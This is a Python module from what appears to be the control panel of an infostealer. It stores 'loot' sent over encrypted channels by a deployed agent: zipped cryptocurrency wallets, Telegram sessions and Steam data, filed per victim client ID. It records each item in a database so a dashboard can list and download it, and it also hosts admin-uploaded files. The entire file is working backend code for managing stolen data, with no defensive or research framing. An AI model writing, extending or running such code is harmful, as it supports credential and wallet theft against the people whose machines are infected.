""" Binary payload storage for the panel. Payloads (wallet / telegram / steam zips) that the agent ships over E2EE are written to disk under loot// so they're persisted as a backup, and tracked in the blobs table so the dashboard can list + download them. """ import base64 import os import time import db # Root directory for all hosted payloads. Auto-created on first write. LOOT_ROOT = os.path.join(os.path.dirname(__file__), "loot") # Match the request size that the agent is allowed to send in one payload. # Guard: refuse a single blob beyond this (avoids filling the disk). MAX_BLOB = 64 * 1024 * 1024 # 64 MB def save_payload(client_id, blob, conn=None): """Persist one payload dict from the agent. blob has keys: category, name, filename, size, data (base64 str). Returns the blob row id. If `conn` is provided (an already-open transaction, e.g. during ingest) the DB insert runs on that connection and is NOT committed; otherwise a fresh connection is used and committed.""" filename = (blob.get("filename") or blob.get("name") or "payload").replace("/", "_").replace("\\", "_") data_b64 = blob.get("data", "") try: raw = base64.b64decode(data_b64) except Exception as e: raise ValueError(f"bad base64 payload: {e}") if len(raw) > MAX_BLOB: raise ValueError("payload too large") os.makedirs(os.path.join(LOOT_ROOT, client_id), exist_ok=True) path = os.path.join(LOOT_ROOT, client_id, filename) with open(path, "wb") as f: f.write(raw) ts = int(time.time()) if conn is not None: cur = conn.execute( "INSERT INTO blobs (client_id, category, name, filename, size, created) " "VALUES (?,?,?,?,?,?)", (client_id, blob.get("category"), blob.get("name"), filename, len(raw), ts), ) return cur.lastrowid conn = db.get_conn() try: cur = conn.execute( "INSERT INTO blobs (client_id, category, name, filename, size, created) " "VALUES (?,?,?,?,?,?)", (client_id, blob.get("category"), blob.get("name"), filename, len(raw), ts), ) conn.commit() return cur.lastrowid finally: conn.close() def upload_public(filename, data, category="upload"): """Store an admin-uploaded file under loot/upload/ and track it in blobs. Returns the blob row id.""" raw = data if isinstance(data, (bytes, bytearray)) else data.encode() if len(raw) > MAX_BLOB: raise ValueError("file too large") filename = (filename or "download").replace("/", "_").replace("\\", "_") client_id = "upload" os.makedirs(os.path.join(LOOT_ROOT, client_id), exist_ok=True) path = os.path.join(LOOT_ROOT, client_id, filename) with open(path, "wb") as f: f.write(raw) ts = int(time.time()) conn = db.get_conn() try: cur = conn.execute( "INSERT INTO blobs (client_id, category, name, filename, size, created) " "VALUES (?,?,?,?,?,?)", (client_id, category or "upload", filename, filename, len(raw), ts), ) conn.commit() return cur.lastrowid finally: conn.close() def blobs_for(client_id=None): conn = db.get_conn() try: if client_id: rows = conn.execute( "SELECT * FROM blobs WHERE client_id = ? ORDER BY id DESC", (client_id,) ).fetchall() else: rows = conn.execute("SELECT * FROM blobs ORDER BY id DESC").fetchall() return [dict(r) for r in rows] finally: conn.close() def blob_path(client_id, blob_id): conn = db.get_conn() try: row = conn.execute( "SELECT * FROM blobs WHERE id = ? AND client_id = ?", (blob_id, client_id) ).fetchone() finally: conn.close() if not row: return None d = dict(row) path = os.path.join(LOOT_ROOT, d["client_id"], d["filename"]) if not os.path.exists(path): return None return path